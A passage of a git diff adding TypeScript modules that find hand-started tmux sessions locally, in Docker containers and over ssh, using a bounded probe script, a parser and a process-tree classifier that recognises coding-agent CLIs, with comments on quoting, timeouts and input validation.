+const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
+
+/** What one probe produced, however it ended. */
+export interface ForeignProbeRun {
+  /** Everything read before it finished or was stopped. */
+  stdout: string;
+  /** False when it timed out, flooded, exited non-zero or could not start. */
+  ok: boolean;
+}
+
+/**
+ * Run one probe in its own process group. Never rejects (see @fileoverview).
+ *
+ * The caller is answered AT the deadline, while the group is still dying.
+ */
+export function runForeignProbe(
+  argv: readonly string[],
+  opts: { timeoutMs?: number; maxBytes?: number } = {}
+): Promise<ForeignProbeRun> {
+  const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
+  return new Promise((resolve) => {
+    const [file, ...args] = argv;
+    const chunks: Buffer[] = [];
+    let bytes = 0;
+    let settled = false;
+    let child: ChildProcess | undefined;
+    let escalation: NodeJS.Timeout | undefined;
+
+    const finish = (ok: boolean) => {
+      if (settled) return;
+      settled = true;
+      clearTimeout(deadline);
+      resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
+    };
+    const signalGroup = (signal: NodeJS.Signals) => {
+      try {
+        if (child?.pid) process.kill(-child.pid, signal);
+      } catch {
+        /* already gone */
+      }
+    };
+    const stop = () => {
+      signalGroup('SIGTERM');
+      escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
+      escalation.unref();
+      // ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
+      // everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
+      // would keep one handle per scan until that server is resumed.
+      child?.stdout?.destroy();
+      finish(false);
+    };
+    const deadline = setTimeout(stop, timeoutMs);
+
+    try {
+      child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
+    } catch {
+      finish(false);
+      return;
+    }
+    child.stdout?.on('data', (chunk: Buffer) => {
+      if (settled) return;
+      chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
+      bytes += chunk.length;
+      if (bytes > maxBytes) stop();
+    });
+    child.on('error', () => finish(false));
+    child.on('close', (code) => {
+      // The group is gone, so a late SIGKILL could only reach whoever reused its id.
+      clearTimeout(escalation);
+      finish(code === 0);
+    });
+  });
+}
+
+/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
+function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
+  return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
+}
+
+/**
+ * Turn one probe's stdout into candidates. Shared by all three transports, so a
+ * container's sessions and the host's are classified by identical rules.
+ *
+ * `where` opens every note this scan writes (`local`, `docker <name>`, `remote
+ * <label>`). The browser tells the two kinds apart by it: a local note is re-read on
+ * every poll, a container or host note only by the next explicit scan.
+ */
+export function candidatesFrom(
+  stdout: string,
+  location: ForeignTmuxSession['location'],
+  hostKey: string,
+  extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
+  where: string,
+  notes: string[]
+): ForeignTmuxSession[] {
+  const probe = parseForeignProbeOutput(stdout);
+  const match = createForeignSignatureMatcher();
+  const ownSocket = resolveTmuxSocketName();
+  const out: ForeignTmuxSession[] = [];
+  const seen = new Set<string>();
+  let unsafe = 0;
+
+  for (const pane of probe.panes) {
+    if (isCodemanOwnedPane(pane, ownSocket)) continue;
+    // ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
+    // on purpose: a name that cannot cross the launch chain safely never gets an
+    // id, so there is nothing for a caller to send. Adoption re-resolves through
+    // this same function, which makes the endpoint fail closed for free.
+    // See `isAdoptableSessionName` for the injection this prevents.
+    if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
+      unsafe += 1;
+      continue;
+    }
+    // One row per SESSION, not per pane: the first pane is the one we would land
+    // on, and a multi-pane session is still a single thing to adopt.
+    // \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
+    // treat this whole file as binary (no diff, no review), and the allowlists above
+    // already guarantee neither half can contain one.
+    const key = `${pane.socketPath}\u0000${pane.sessionName}`;
+    if (seen.has(key)) continue;
+    seen.add(key);
+
+    const classified = classifyForeignPaneMode(pane, probe, match);
+    out.push({
+      id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
+      location,
+      ...extra,
+      socketPath: pane.socketPath,
+      sessionName: pane.sessionName,
+      windows: pane.windows,
+      attached: pane.sessionAttached,
+      createdAt: pane.sessionCreated * 1000,
+      mode: classified.mode,
+      command: classified.command,
+      workingDir: pane.paneCurrentPath,
+    });
+  }
+  if (unsafe) {
+    notes.push(
+      `${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
+    );
+  }
+  // Another Codeman's server is not a session this list would ever have shown.
+  const hung = probe.hungSockets.filter(
+    (socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
+  );
+  if (hung.length) {
+    notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
+  }
+  return out;
+}
+
+// ===========================================================================
+// Local
+// ===========================================================================
+
+let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
+let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
+
+/**
+ * Scan this host. TTL-cached and single-flight, because this is the one location
+ * the home screen polls on its own.
+ */
+export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const now = Date.now();
+  if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
+  if (localInFlight) return localInFlight;
+
+  localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
+    const notes: string[] = [];
+    let sessions: ForeignTmuxSession[] = [];
+    try {
+      // argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
+      // reach the inner sh intact (see @fileoverview).
+      const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
+      sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
+      if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
+    } catch {
+      // The probe answers rather than throws, so this is the classifier. "Nothing to
+      // adopt here" is the only honest answer and it is never an error to the caller.
+      notes.push('local: tmux probe produced no result');
+    }
+    const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
+    localCache = { at: Date.now(), result };
+    return result;
+  })().finally(() => {
+    localInFlight = null;
+  });
+
+  return localInFlight;
+}
+
+/** Drop the local cache so the next scan is real (used right after an adopt). */
+export function invalidateForeignCache(): void {
+  localCache = null;
+}
+
+// ===========================================================================
+// Docker
+// ===========================================================================
+
+/** Connection facts for one adoptable container, resolved from the registries. */
+export interface DockerTargetInfo {
+  hostId: string;
+  label: string;
+  containerName: string;
+  base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
+}
+
+function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
+  const byId = new Map(hosts.map((h) => [h.id, h]));
+  const out: DockerTargetInfo[] = [];
+  const seen = new Set<string>();
+  for (const c of cases) {
+    const container = c.container || `codeman-case-${c.name}`;
+    // Per engine, not global: two daemons can each run a container of one name,
+    // and collapsing them here would leave the second one unscanned.
+    const key = `${c.hostId}\u0000${container}`;
+    if (seen.has(key)) continue;
+    seen.add(key);
+    const host = byId.get(c.hostId);
+    out.push({
+      hostId: c.hostId,
+      label: host?.label || c.name,
+      containerName: container,
+      base: {
+        engine: host?.engine ?? 'docker',
+        context: host?.context,
+        daemonHost: host?.daemonHost,
+      },
+    });
+  }
+  return out;
+}
+
+/**
+ * The argv of one in-container probe.
+ *
+ * ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
+ * values are shell-quoted for the launch string. `execFile` passes those quotes
+ * through literally, so `docker --context "'default'"` answered "context not found"
+ * and every container behind a named context or a remote daemon read as unreachable.
+ */
+export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
+  return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
+}
+
+/**
+ * Scan the containers behind the caller's docker cases. On demand only.
+ *
+ * Read-only by construction: one `docker exec` running the probe. Never inspects
+ * lifecycle, never starts anything: a stopped or missing container simply
+ * contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
+ * degrades to an empty list" rule.
+ */
+export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
+  const targets = dockerTargets(cases, hosts);
+  const notes: string[] = [];
+  const sessions: ForeignTmuxSession[] = [];
+
+  await Promise.all(
+    targets.map(async (t) => {
+      const where = `docker ${t.containerName}`;
+      try {
+        const run = await runForeignProbe(foreignDockerProbeArgv(t));
+        sessions.push(
+          ...candidatesFrom(
+            run.stdout,
+            'docker',
+            `${t.hostId} ${t.containerName}`,
+            { hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
+            where,
+            notes
+          )
+        );
+        if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
+      } catch {
+        notes.push(`${where}: not running, no tmux, or engine unreachable`);
+      }
+    })
+  );
+
+  return { sessions, scannedAt: Date.now(), notes };
+}
+
+// ===========================================================================
+// Remote
+// ===========================================================================
+
+/**
+ * The ssh command line of one remote probe.
+ *
+ * `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
+ */
+export function foreignRemoteProbeCommand(host: RemoteHost): string {
+  return [
+    'exec',
+    ...buildSshConnectionArgs(host),
+    remoteSshTarget(host),
+    shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
+  ].join(' ');
+}
+
+/**
+ * Scan saved ssh hosts. On demand only: this is the expensive one.
+ *
+ * ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
+ * probe crosses one extra shell and must be single-quoted. `shellescape` does
+ * that, and `buildForeignProbeScript()` is single-quote-free precisely so the
+ * escaping stays a wrap rather than a rewrite.
+ *
+ * Each host holds a slot of the shared remote-ssh limiter: one saved host per
+ * connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
+ * A host that waits too long for a slot reads as unreachable this round.
+ */
+export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
+  if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
+
+  const notes: string[] = [];
+  const sessions: ForeignTmuxSession[] = [];
+
+  await Promise.all(
+    hosts.map(async (host) => {
+      const where = `remote ${host.label}`;
+      try {
+        const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
+          maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
+        });
+        sessions.push(
+          ...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
+        );
+        if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
+      } catch {
+        notes.push(`${where}: unreachable, or no tmux`);
+      }
+    })
+  );
+
+  return { sessions, scannedAt: Date.now(), notes };
+}
+
+// ===========================================================================
+// Facade
+// ===========================================================================
+
+export interface ForeignDiscoveryRequest {
+  /** Always scanned (cheap, cached). */
+  local?: boolean;
+  /** Docker cases the CALLER may see; ownership filtering happens in the route. */
+  dockerCases?: DockerCase[];
+  /** Remote hosts the CALLER may see. */
+  remoteHosts?: RemoteHost[];
+  /** Skip the local TTL cache. */
+  force?: boolean;
+}
+
+/**
+ * One scan across the requested locations. Merges notes, never throws.
+ *
+ * The caller supplies the docker cases and remote hosts rather than this module
+ * reading the registries itself: which of them a user may see is an ownership
+ * question, and ownership belongs to the route layer.
+ */
+export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
+  const parts: ForeignDiscoveryResult[] = [];
+  if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
+  if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
+  if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
+
+  return {
+    sessions: parts.flatMap((p) => p.sessions),
+    scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
+    notes: parts.flatMap((p) => p.notes),
+  };
+}
+
+/** Re-read the caller-visible docker cases, for routes that only hold a username. */
+export async function readAllDockerCases(): Promise<DockerCase[]> {
+  return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
+}
+
+/** Re-read the saved remote hosts. */
+export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
+  return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
+}

src/foreign-tmux.ts

@@ -0,0 +1,902 @@
+/**
+ * @fileoverview Pure core for FOREIGN tmux sessions, the ones a human started
+ * by hand, which Codeman neither created nor owns.
+ *
+ * Everything here is a string in / structure out, so all three locations (local,
+ * inside a container, across ssh) go through ONE probe script, ONE parser and ONE
+ * classifier. Writing a second copy per location is exactly how the two would
+ * drift into disagreeing about what a session is.
+ *
+ * ## Why the probe script is dumb
+ *
+ * It runs two commands and prints them: `tmux list-panes` per socket, and one
+ * `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
+ * is pure and unit-testable, instead of in a shell string that is embedded three
+ * different ways and can only be debugged against a real host.
+ *
+ * The one thing the script does decide is whether a server is safe to ask, because
+ * only the script can. A tmux server that stopped answering holds its client
+ * forever, and from outside a container or across ssh no signal reaches that
+ * client: a timeout kills `docker exec` or `ssh`, never what they started. So each
+ * server gets a bounded ping first, and one that misses it costs its own rows and
+ * a `CMFH` line, not the whole scan.
+ *
+ * ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
+ * client hands dups of its stdout to the server, so a stopped server keeps our
+ * stdout pipe open after the client is dead (measured: SIGTERM ended the client at
+ * once and no EOF came in the 2.5 s that were watched, while the server stayed
+ * stopped). Nothing reading that pipe can finish, and the same hold would keep
+ * `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
+ * server that just answered ever gets the real one.
+ *
+ * ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
+ * to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
+ * is the single-quote dual of the "no double quotes in the docker launch chain"
+ * rule in `tmux-manager.ts`: same class of bug, opposite quote.
+ *
+ * ## Why the mode comes from the process tree
+ *
+ * `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
+ * distinguish them. The classifier walks the pane's descendants over the `ps`
+ * snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn,
+ * see proc-tree.ts for the incident that rule exists for) and matches argv. What
+ * it cannot identify is `shell`, which is also the honest answer for the case
+ * this feature was built for: a hand-opened shell.
+ *
+ * ## Why attaching means creating a grouped session
+ *
+ * A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
+ * is its own session, so our `status off` and our current-window selection land
+ * on us alone. A bare `attach` would have to set those on the owner's session,
+ * i.e. mutate something we do not own. `destroy-unattached on` then makes our
+ * view evaporate when the wrapper pane dies (measured: it does).
+ *
+ * ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
+ * `server_check_unattached()` runs every server loop, so a detached session with
+ * `destroy-unattached on` is torn down almost immediately: the option has to
+ * land on a session that already has our client on it.
+ *
+ * ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
+ * was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
+ * client, with our client at 80x24:
+ *
+ *   bare attach                      -> target becomes 80x23
+ *   grouped session                  -> target becomes 80x23   (same!)
+ *   grouped + `window-size largest`  -> target stays  200x49
+ *
+ * A window is one object with one size; a group shares the object. So attaching
+ * from Codeman resizes a session someone else is actively viewing, exactly like
+ * any second tmux client does: that is tmux's normal behavior, and it reverses
+ * when we detach.
+ *
+ * `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
+ * SHARED window, so it survives our detach (measured: still `largest` after our
+ * view is gone): it would permanently rewrite the owner's configuration to buy
+ * a cropped view for us. Restoring it would need the previous value captured with
+ * `$(...)`, and this string carries no command substitution. It reaches `bash -c`
+ * verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
+ * the OUTER shell expanded it first. That is the same rule the docker launch chain
+ * states as "no command substitution", and the same trap that silently emptied
+ * `$TMUX_TMPDIR` while this probe was developed.
+ * A user who wants the crop instead of the resize can set `window-size largest`
+ * on their own session, which is theirs to set.
+ *
+ * @module foreign-tmux
+ */
+
+import { collectDescendants } from './proc-tree.js';
+import { listClis } from './config/cli-registry/registry.js';
+import { withRemoteTmuxPath } from './remote-hosts.js';
+import {
+  FOREIGN_MAX_ARGV_CHARS,
+  FOREIGN_MAX_PANES,
+  FOREIGN_MAX_PROCS,
+  FOREIGN_SOCKET_TIMEOUT_SECONDS,
+} from './config/foreign-tmux.js';
+import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
+import type { SessionAdopt, SessionMode } from './types/session.js';
+
+// ===========================================================================
+// Probe script
+// ===========================================================================
+
+/**
+ * Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
+ * LITERAL two characters (verified on next-3.7, the same finding that shaped
+ * `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
+ * in case some build does expand it.
+ */
+const SEP = '\\t';
+const SEP_SPLIT = /\\t|\t/;
+const REJOIN = '\t';
+
+const PANE_MARKER = 'CMFP';
+const PROC_MARKER = 'CMFQ';
+const SOCKET_MARKER = 'CMFS';
+const HUNG_MARKER = 'CMFH';
+
+/**
+ * The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
+ *
+ * Emits, in order:
+ *   CMFS<sep><socket path>                        (one per readable socket)
+ *   CMFP<sep><socket><sep>...<sep>name<sep>path   (one per pane on that socket)
+ *   CMFH<sep><socket path>                        (a server that did not answer)
+ *   CMFQ                                          (marker; ps rows follow)
+ *   <pid> <ppid> <argv...>
+ *
+ * The two free-form fields (session name, pane path) are LAST so a separator
+ * inside one of them can be re-joined by position instead of corrupting the row.
+ */
+export function buildForeignProbeScript(): string {
+  const fmt = [
+    PANE_MARKER,
+    '#{socket_path}',
+    '#{pane_pid}',
+    '#{window_index}',
+    '#{session_windows}',
+    '#{session_created}',
+    '#{session_attached}',
+    '#{pane_id}',
+    '#{pane_current_command}',
+    '#{session_name}',
+    '#{pane_current_path}',
+  ].join(SEP);
+
+  // `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
+  // fail we still emit the pane rows, and classification degrades to the pane
+  // command, which still names a plain shell correctly.
+  // ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
+  // expansion turns the loop into a single literal non-match. ⚠️ The marker line
+  // must NOT try to carry the field separator at all. Measured: `sh`'s builtin
+  // `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
+  // two literal characters, so the same escape means two different things two
+  // lines apart. The socket line is space-separated instead (marker first, rest
+  // of line is the path), which no shell rewrites.
+  //
+  // Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
+  // server (that is exactly where tmux puts them). A socket at an arbitrary
+  // `tmux -S /custom/path` is deliberately out of scope: finding it would mean
+  // walking the filesystem for sockets.
+  //
+  // `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
+  // to `_` (measured in a container: session `会话` listed as `____`), and a name
+  // read wrong is a name the guard then cannot find.
+  //
+  // The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
+  // spelling of `timeout`, which macOS does not ship. A stale socket answers at once
+  // with status 1 and is skipped, so the ping costs a live server one extra spawn and
+  // a dead one none. `has-session` cannot start a server on a stale socket.
+  // ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
+  // SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
+  // BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
+  // parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
+  // leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
+  // exists, so a socket that answers at once wins that race.
+  const watchdog =
+    `( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
+    `wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
+  const ping =
+    `tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
+    'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
+  return [
+    'TD=${TMUX_TMPDIR:-/tmp}',
+    'U=$(id -u 2>/dev/null || echo 0)',
+    `for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
+      `tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
+    `echo ${PROC_MARKER}`,
+    'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
+  ].join('; ');
+}
+
+// ===========================================================================
+// Parsing
+// ===========================================================================
+
+export interface ForeignProbeOutput {
+  panes: ForeignPaneProbe[];
+  /** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
+  byParent: Map<number, number[]>;
+  /** pid to full argv line. */
+  argvByPid: Map<number, string>;
+  /** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
+  sockets: string[];
+  /** Sockets whose server missed the per-socket bound, so their rows are absent. */
+  hungSockets: string[];
+}
+
+/**
+ * Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal.
+ *
+ * ⚠️ Runs synchronously on the server's event loop over text a process in a pane, a
+ * container or an ssh host wrote, so nothing here may cost more than linear time in it:
+ * the row caps do not help when one row is the whole 2 MiB.
+ */
+export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
+  const panes: ForeignPaneProbe[] = [];
+  const sockets = new Set<string>();
+  const hungSockets: string[] = [];
+  const byParent = new Map<number, number[]>();
+  const argvByPid = new Map<number, string>();
+  if (!stdout) return { panes, byParent, argvByPid, sockets: [], hungSockets };
+
+  let inProcs = false;
+  let procCount = 0;
+
+  for (const raw of stdout.split('\n')) {
+    const line = raw.replace(/\r$/, '');
+    if (!line) continue;
+
+    if (!inProcs && line === PROC_MARKER) {
+      inProcs = true;
+      continue;
+    }
+
+    if (inProcs) {
+      if (procCount >= FOREIGN_MAX_PROCS) continue;
+      // `<pid> <ppid> <argv...>`: leading spaces are how `ps -o pid=` pads.
+      // ⚠️ `s`, so `.*$` cannot fail: without it a bare CR in an argv stopped the `.`, and
+      // `\s+` handed its spaces back one at a time, quadratic in a row this long.
+      const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/s.exec(line);
+      if (!m) continue;
+      const pid = Number(m[1]);
+      const ppid = Number(m[2]);
+      if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
+      procCount += 1;
+      argvByPid.set(pid, (m[3] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS));
+      const siblings = byParent.get(ppid);
+      if (siblings) siblings.push(pid);
+      else byParent.set(ppid, [pid]);
+      continue;
+    }
+
+    if (line.startsWith(`${SOCKET_MARKER} `)) {
+      const sock = line.slice(SOCKET_MARKER.length + 1);
+      if (sock) sockets.add(sock);
+      continue;
+    }
+
+    if (line.startsWith(`${HUNG_MARKER} `)) {
+      hungSockets.push(line.slice(HUNG_MARKER.length + 1));
+      continue;
+    }
+
+    const fields = line.split(SEP_SPLIT);
+    if (fields[0] !== PANE_MARKER) continue;
+    if (panes.length >= FOREIGN_MAX_PANES) continue;
+    // 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
+    // pushes extras into the middle, so the path is taken from the END and the
+    // name is whatever sits between the fixed prefix and it.
+    if (fields.length < 11) continue;
+
+    const panePid = Number(fields[2]);
+    const windowIndex = Number(fields[3]);
+    const windows = Number(fields[4]);
+    const created = Number(fields[5]);
+    if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
+
+    const paneCurrentPath = fields[fields.length - 1] ?? '';
+    const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
+    if (!sessionName) continue;
+
+    panes.push({
+      socketPath: fields[1] ?? '',
+      sessionName,
+      windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
+      paneId: fields[7] ?? '',
+      panePid,
+      paneCurrentCommand: (fields[8] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS),
+      paneCurrentPath,
+      sessionAttached: fields[6] === '1',
+      sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
+      windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
+    });
+  }
+
+  return { panes, byParent, argvByPid, sockets: [...sockets], hungSockets };
+}
+
+// ===========================================================================
+// Classification
+// ===========================================================================
+
+/**
+ * argv signatures, derived from the registry rather than written here.
+ *
+ * Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
+ * hits the claude rule via the path. The binary names come from each entry's
+ * `discovery.binaries`, the one place that already knows a mode name is NOT
+ * always a binary name (`antigravity` runs `agy`). The hand-written table this
+ * replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
+ * had already fallen behind: `omp` was missing, so a hand-started omp pane read
+ * as a plain shell.
+ *
+ * Resolved at CALL time, never into a module-level const: a CLI enabled (or a
+ * custom entry added) at runtime must be recognised without a restart.
+ *
+ * ⚠️ Longest name first. `pi` is two characters and its "command itself" form
+ * would otherwise be tried before `opencode`'s; length order is what keeps a
+ * short generic name from claiming a pane that belongs to a longer one.
+ *
+ * ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
+ * while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
+ * a pattern out of an unescaped foreign string is how a config value turns into
+ * a regex. Escaping means the worst a bad name can do is match nothing.
+ *
+ * ⚠️ Keep these free of unbounded tails, since each one runs over someone else's argv on
+ * the event loop. The node launcher shape needs one, so it lives in `launcherPrefixes()`
+ * and `launcherDir` only has to name the directory.
+ */
+export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp; launcherDir: RegExp }> {
+  const seen = new Set<string>();
+  const out: { mode: SessionMode; test: RegExp; launcherDir: RegExp }[] = [];
+  // `listClis()`, not `enabledClis()`: classification is a description of what is
+  // ALREADY running in someone else's pane, not a decision to launch anything.
+  // A disabled CLI still deserves its real name on the row.
+  const named: { mode: SessionMode; name: string }[] = [];
+  for (const entry of listClis()) {
+    // ⚠️ Stock entries only, and this is a `stock` check rather than an id check
+    // on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
+    // entry has no SessionMode to be. Letting one through would put a value the
+    // union does not contain on `SessionState.mode`. A custom CLI's pane falls to
+    // the `shell` answer below, which is the honest one: Codeman has no name for
+    // it, and an adopted wrapper runs `attach` either way.
+    if (!entry.stock) continue;
+    for (const binary of entry.discovery.binaries) {
+      // `shell` declares none, which is right: it is the FALLBACK answer, never a
+      // signature match.
+      if (!binary || seen.has(binary)) continue;
+      seen.add(binary);
+      named.push({ mode: entry.id as SessionMode, name: binary });
+    }
+  }
+  named.sort((a, b) => b.name.length - a.name.length);
+  for (const { mode, name } of named) {
+    const n = escapeRegExp(name);
+    out.push({
+      mode,
+      // the command itself · a `bin/` path
+      test: new RegExp(`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b`),
+      // a node launcher under the CLI's own dot-directory (`~/.claude/local/.../cli.js`)
+      launcherDir: new RegExp(`[/\\\\]\\.?${n}[/\\\\]`),
+    });
+  }
+  return out;
+}
+
+function escapeRegExp(value: string): string {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+}
+
+/** Commands that mean "this is a plain shell", not an unidentified agent. */
+const SHELL_COMMANDS = new Set([
+  'bash',
+  'sh',
+  'zsh',
+  'fish',
+  'dash',
+  'ksh',
+  'tcsh',
+  'csh',
+  'ash',
+  'busybox',
+  'login',
+  '-bash',
+  '-zsh',
+  '-sh',
+]);
+
+export interface ClassifiedPane {
+  mode: SessionMode;
+  /** The argv line the decision came from, truncated for display. */
+  command: string;
+}
+
+const COMMAND_DISPLAY_MAX = 160;
+
+/**
+ * Decide what a pane is running.
+ *
+ * Order matters: the pane's own command is checked against the CLI signatures
+ * first (a pane running `claude` directly is unambiguous and needs no walk), then
+ * the bounded descendant walk, and only then the shell fallback. The walk is what
+ * separates claude from codex, since tmux reports `node` for both.
+ */
+export function classifyForeignPaneMode(
+  pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
+  probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>,
+  match: ForeignSignatureMatcher = createForeignSignatureMatcher()
+): ClassifiedPane {
+  const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
+
+  const direct = match(own);
+  if (direct) return { mode: direct, command: truncate(own) };
+
+  // ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
+  // which is byte-identical to the answer for a real shell: without this line a
+  // deep or wide tree silently downgrades an agent pane to `shell` and there is
+  // nothing anywhere to tell the two apart.
+  const descendants = collectDescendants(pane.panePid, probe.byParent, {
+    onTruncated: (root, cap, reason) =>
+      console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
+  });
+  for (const pid of descendants) {
+    const argv = probe.argvByPid.get(pid);
+    if (!argv) continue;
+    const hit = match(argv);
+    if (hit) return { mode: hit, command: truncate(argv) };
+  }
+
